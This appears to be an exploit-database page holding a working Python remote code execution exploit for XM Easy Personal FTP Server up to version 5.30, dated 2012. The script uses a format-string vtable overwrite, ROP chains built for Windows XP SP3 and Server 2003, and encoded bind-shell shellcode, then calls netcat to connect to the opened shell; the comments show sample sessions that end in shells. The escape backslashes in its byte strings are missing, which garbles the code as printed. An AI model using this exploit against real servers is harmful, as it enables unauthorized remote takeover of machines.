[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit
# Published : 2012-06-14
# Author :
# Previous Title : Poison Ivy 2.3.2 C&C Server Buffer Overflow
# Next Title : Ezhometech Ezserver 6.4 Stack Overflow Exploit


#!/usr/bin/python
# XM Easy Personal FTP Server v <= 5.30 Remote Format String write4 Exploit
# exploit by: mr_me (@net__ninja/mr_me[at]corelan.be)
# Thanks to the Corelan Security Team
# Note: this is a poc only, and requires the following target environment:
# 	Windows Server 23k:
#		- msvcrt.dll v7.0.3790.3959
#		- ntdll.dll v5.2.3790.4937
#
#	..or
#
#	Windows XP SP3:
#		- msvcrt.dll v7.0.2600.5512
#		- ntdll.dll v5.1.2600.6055
# 
# Fully tested against these environments.
# 
# An additional offset for the allocated chunk (0x00AEFAB9) under Windows XP SP3 
# (ntdll.dll vv5.1.2600.5512 (xpsp.080413-2111)) are:
#	
# 	if auth_required == 1:
#		sploit += "%11467127x"       # lookaside chunk address 0x00AEFAB9
#	elif auth_required == 2:
#		sploit += "%11467133x"       # lookaside chunk address 0x00AEFAB9
# 
# Thanks to @_bcoles for the additional testing and target.
#
# Well, after 6 years of DoS, 2 DoS metasploit modules later, I thought it would be a good
# time for some unreliable RCE:
#
# - http://www.exploit-db.com/search/?action=search&filter_description=XM+Easy+Personal
# - http://www.metasploit.com/modules/framework/search?utf8=%E2%9C%93&osvdb=&bid=&text=XM+Easy&cve=&msb=
#
# How is the exploit working? Voodoo? ...no
# 
# Basically at crash time I could only find our string at [esp-0xYYYYYYYY] and as such 
# couldn't use our string to overwrite an arbitrary function pointer. But when I looked 
# closer at the esp, I noticed that at esp+0x7c an object is stored. So what I did was 
# use the %n to overwrite the objects vtable with a controlled value (str length + %YYx 
# to pad out the arbitrary fake vtable). During the application authentication routine, 
# it will allocate the strings we send as USER/PASS from a heap and then free them to 
# the lookaside (as long as the string length is < 1016 bytes in size).
# 
# Because this address is relative and has a static base in this environment, I was able
# to use the heap chunk address as the pointer to write at the vtable. Then a function is
# called at offset 0xb0 or 0x98 and we can reliably return into a ROP payload and execute
# arbitrary code.
#
# Enjoy the shells guys 
# ~ mr_me
# 
# example exploitation against XP:
#
# mr_me@gliese:~/pentest/research/targets/xm$ ./xm_pwnage.py 192.168.153.160 
# -------------------------------------------------------------------------
#  XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit
#  Written by mr_me (@net__ninja)                                            
# -------------------------------------------------------------------------
# 
# (+) Choose your target:
# 	1. Windows Server 2003 EN
# 	2. Windows XP SP3 EN
# --> 2
# (+) Choose your option:
#       1. use no authentication (anonymous is disabled)
#       2. use authentication (anonymous is enabled)
# --> 1
# (+) Connecting to the target 192.168.153.160:21
# (+) Seeding payload...
# (+) Triggering write4....
# (+) Connecting to the targets shell!
# Connection to 192.168.153.160 4444 port [tcp/*] succeeded!
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
# 
# C:Documents and Settingssteve>
#
# example exploitation against Windows Server 23k:
#
# mr_me@gliese:~/pentest/research/targets/xm$ ./poc_working.py 192.168.153.159 
# -------------------------------------------------------------------------
#  XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit
#  Written by mr_me (@net__ninja)                                          
# -------------------------------------------------------------------------
# 
# (+) Choose your target:
# 	1. Windows Server 2003 EN
# 	2. Windows XP SP3 EN
# --> 1
# (+) Choose your option:
# 	1. use no authentication (anonymous is disabled)
# 	2. use authentication (anonymous is enabled)
# --> 2
# (+) Connecting to the target 192.168.153.159:21
# (+) Seeding payload...
# (+) Triggering write4....
# (+) Connecting to the targets shell!
# Connection to 192.168.153.159 4444 port [tcp/*] succeeded!
# Microsoft Windows [Version 5.2.3790]
# (C) Copyright 1985-2003 Microsoft Corp.
# 
# C:Documents and SettingsAdministratorDesktop>
#

import socket
import struct
import sys
from os import system
from time import sleep

host = ''
port = 21

# ./msfpayload windows/shell_bind_tcp exitfunc=seh R | 
# ./msfencode -b "x00x0ax0d" -e x86/jmp_call_additive -t c
# [*] x86/jmp_call_additive succeeded with size 373 (iteration=1
sc = ("xfcxbbx70x4exf9xb6xebx0cx5ex56x31x1exadx01xc3"
"x85xc0x75xf7xc3xe8xefxffxffxffx8cxa6x70xb6x6c"
"x37xe3x3ex89x06x31x24xdax3bx85x2ex8exb7x6ex62"
"x3ax43x02xabx4dxe4xa9x8dx60xf5x1fx12x2ex35x01"
"xeex2cx6axe1xcfxffx7fxe0x08x1dx8fxb0xc1x6ax22"
"x25x65x2exffx44xa9x25xbfx3exccxf9x34xf5xcfx29"
"xe4x82x98xd1x8excdx38xe0x43x0ex04xabxe8xe5xfe"
"x2ax39x34xfex1dx05x9bxc1x92x88xe5x06x14x73x90"
"x7cx67x0exa3x46x1axd4x26x5bxbcx9fx91xbfx3dx73"
"x47x4bx31x38x03x13x55xbfxc0x2fx61x34xe7xffxe0"
"x0exccxdbxa9xd5x6dx7dx17xbbx92x9dxffx64x37xd5"
"xedx71x41xb4x79xb5x7cx47x79xd1xf7x34x4bx7exac"
"xd2xe7xf7x6ax24x08x22xcaxbaxf7xcdx2bx92x33x99"
"x7bx8cx92xa2x17x4cx1bx77xb7x1cxb3x28x78xcdx73"
"x99x10x07x7cxc6x01x28x57x71x06xe6x8cxd1xe1x0b"
"x32xc7xadx82xd4x8dx5dxc3x4fx3ax9cx30x58xddxdf"
"x12xf5x76x48x2ax10x40x77xabx37xe2xd4x03xdfx71"
"x37x90xfex85x12xb0x89xbdxf5x4axe7x0cx67x4ax22"
"xe6x04xd9xa8xf7x43xc2x67xafx04x34x71x25xb9x6f"
"x2bx58x40xe9x14xd8x9fxcax9bxe0x52x76xbfxf2xaa"
"x77xfbxa6x62x2ex55x11xc5x98x17xcbx9fx77xf1x9b"
"x66xb4xc2xddx66x91xb5x02xd6x4cx83x3dxd7x18x03"
"x45x05xb9xecx9cx8dxc7x1cx2dx18x5fx86xc4x61x3d"
"x39x33xa5x38xb9xb6x56xbfxa1xb2x53xfbx66x2ex2e"
"x94x02x50x9dx95x07x50x21x6axa7x51x21x6a")

def banner():
	print "-------------------------------------------------------------------------"
	print " XM Easy Personal FTP Server <= v5.30 Remote Format String Write4 Exploit"
	print " Written by mr_me (@net__ninja)                                          "
	print "-------------------------------------------------------------------------n"

if (len(sys.argv) < 2):
	banner()
	print "Usage: %s <target_ip> [port]" %(sys.argv[0])
	sys.exit(1)

if (len(sys.argv) == 3):
	port = int(sys.argv[2])

host = sys.argv[1]

banner()

print("(+) Choose your target:")
print("	1. Windows Server 2003 EN")	
print("	2. Windows XP SP3 EN")

try:
	target = int(raw_input("--> "))
except:
	print("Exiting..")
	sys.exit(0)

if target not in [1,2]:
	print("(-) Invalid target!")
	sys.exit(0)

print("(+) Choose your option:")
print("	1. use no authentication (anonymous is disabled)")
print("	2. use authentication (anonymous is enabled)")

try:
        auth_required = int(raw_input("--> "))	
except:
        print("Exiting..")
        sys.exit(0)

if auth_required not in [1,2]:
        print("(-) Invalid option!")
        sys.exit(0)

# start building the attack string
sploit  = "ABOR "

# rop - Windows Server 23k
if target == 1:
	# C:WINDOWSsystem32msvcrt.dll v7.0.3790.3959
	rop  = struct.pack('<L', 0x77be3adb) # pop eax ; retn
	rop += struct.pack('<L', 0x77ba1114) # <- *&VirtualProtect()
	rop += struct.pack('<L', 0x77bbf244) # mov eax,[eax] ; pop ebp ; retn
	rop += struct.pack('<L', 0x41414141) # junk ------------^
	rop += struct.pack('<L', 0x77bb0c86) # xchg eax,esi ; retn
	rop += struct.pack('<L', 0x77be3adb) # pop eax ; retn
	rop += struct.pack('<L', 0xFFFFFBFF) # dwSize
	rop += struct.pack('<L', 0x77BAD64D) # neg eax ; pop ebp ; retn
	rop += struct.pack('<L', 0x41414141) # junk ------^
	rop += struct.pack('<L', 0x77BBF102) # xchg eax,ebx ; add [eax],al ; retn
	rop += struct.pack('<L', 0x77bbfc02) # pop ecx ; retn
	rop += struct.pack('<L', 0x77bef001) # ptr that is w+
	rop += struct.pack('<L', 0x77bd8c04) # pop edi ; retn
	rop += struct.pack('<L', 0x77bd8c05) # retn
	rop += struct.pack('<L', 0x77be3adb) # pop eax ; retn
	rop += struct.pack('<L', 0xFFFFFFC0) # flNewProtect
	rop += struct.pack('<L', 0x77BAD64D) # neg eax ; pop ebp ; retn
	rop += struct.pack('<L', 0x77be2265) # ptr to 'push esp ; ret'
	rop += struct.pack('<L', 0x77BB8285) # xchg eax,edx ; retn
	rop += struct.pack('<L', 0x77be3adb) # pop eax ; retn
	rop += struct.pack('<L', 0x90909090) # nops
	rop += struct.pack('<L', 0x77be6591) # pushad ; add al,0ef ; retn

	if auth_required == 1:
		sploit += "%12133031x"       # lookaside chunk address #11204415
	elif auth_required == 2:
		sploit += "%12133037x"       # lookaside chunk address

	pivot = "x35x62xbax77"           # 0x77BA6235 - xchg eax,esp; retn
	jump  = "xebx56"                   # jump forward into our shellcode

# rop - Windows XP SP3
elif target == 2:
	# C:WINDOWSsystem32msvcrt.dll v7.0.2600.5512
	rop  = struct.pack('<L', 0x77C21D16) # pop eax ; retn
	rop += struct.pack('<L', 0x77C11120) # <- *&VirtualProtect()
	rop += struct.pack('<L', 0x77C2E493) # mov eax,[eax] ; pop ebp ; retn
	rop += struct.pack('<L', 0x41414141) # junk ------------^
	rop += struct.pack('<L', 0x77C21891) # pop esi ; retn
	rop += struct.pack('<L', 0x77C5D010) # ptr that is w+
	rop += struct.pack('<L', 0x77C2DD6C) # xchg eax,esi ; add [eax],al; retn
	rop += struct.pack('<L', 0x77C21D16) # pop eax ; retn
	rop += struct.pack('<L', 0xFFFFFBFF) # dwSize
	rop += struct.pack('<L', 0x77C1BE18) # neg eax ; pop ebp ; retn
	rop += struct.pack('<L', 0x41414141) # junk ------^
	rop += struct.pack('<L', 0x77C2362C) # pop ebx ; retn
	rop += struct.pack('<L', 0x77C5D010) # ptr that is w+
	rop += struct.pack('<L', 0x77C2E071) # xchg eax,ebx ; add [eax],al ; retn
	rop += struct.pack('<L', 0x77C1F519) # pop ecx ; retn
	rop += struct.pack('<L', 0x77C5D010) # ptr that is w+
	rop += struct.pack('<L', 0x77C23B47) # pop edi ; retn
	rop += struct.pack('<L', 0x77C23B48) # retn
	rop += struct.pack('<L', 0x77C21D16) # pop eax ; retn
	rop += struct.pack('<L', 0xFFFFFFC0) # flNewProtect
	rop += struct.pack('<L', 0x77C1BE18) # neg eax ; pop ebp ; retn
	rop += struct.pack('<L', 0x77C35459) # ptr to 'push esp ; ret'
	rop += struct.pack('<L', 0x77C58FBC) # xchg eax,edx ; retn
	rop += struct.pack('<L', 0x77C21D16) # pop eax ; retn
	rop += struct.pack('<L', 0x90909090) # nops
	rop += struct.pack('<L', 0x77C567F0) # pushad ; add al,0ef ; retn

	if auth_required == 1:
		sploit += "%11204415x"       # lookaside chunk address
	elif auth_required == 2:
		sploit += "%11204421x"       # lookaside chunk address
	
	pivot = "xd5x5exc1x77"           # 0x77C15ED5 - xchg eax,esp; retn
	jump  = "xebx4a"                   # jump forward into our shellcode
	

sploit += "%p" * 31                          # offset to the object on the stack
sploit += "%n" * 1                           # write the controlled value into the vtable
sploit += "x45" * 4500

username  = "USER anonymousrn"
password  = "PASS anonymous@"
password += rop
password += jump
password += "x62" * (0x96-len(rop))
password += pivot                            # vtable+0x98 function
password += "x62" * 0x14	
password += pivot                            # vtable+0xb0 function
password += sc                                  
password += "x62" * (0x398-len(password))
password += ".comrn"

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print "(+) Connecting to the target %s:%d" % (host, port)
	s.connect((host,port))
except:
	print("(-) Cannot connect to the target %s:%s" % (host, port))
	sys.exit(0)

try:
	print "(+) Seeding payload..."
	s.recv(1024)
	s.send(username)
	s.recv(1024)
	s.send(password)
	s.recv(1024)
	print "(+) Triggering write4..."
	s.send(sploit)
	s.recv(1024)
	s.close()
except:
	print "(-) Failed to trigger the vulnerability...!"
	sys.exit(0)

print "(+) Connecting to the targets shell!"
	
try:
	sleep(1)
	system("nc -v %s 4444" % host)
except:
	print("(-) Exploit failed! check if the target service is up")
	sys.exit(0)